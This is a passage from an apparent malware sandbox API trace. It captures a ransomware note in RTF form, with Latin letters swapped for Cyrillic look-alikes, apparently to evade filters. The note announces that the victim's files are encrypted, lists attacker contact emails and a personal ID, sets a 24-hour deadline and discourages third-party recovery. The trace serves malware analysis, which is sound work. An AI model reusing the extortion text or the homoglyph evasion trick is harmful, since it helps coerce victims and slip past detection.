r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 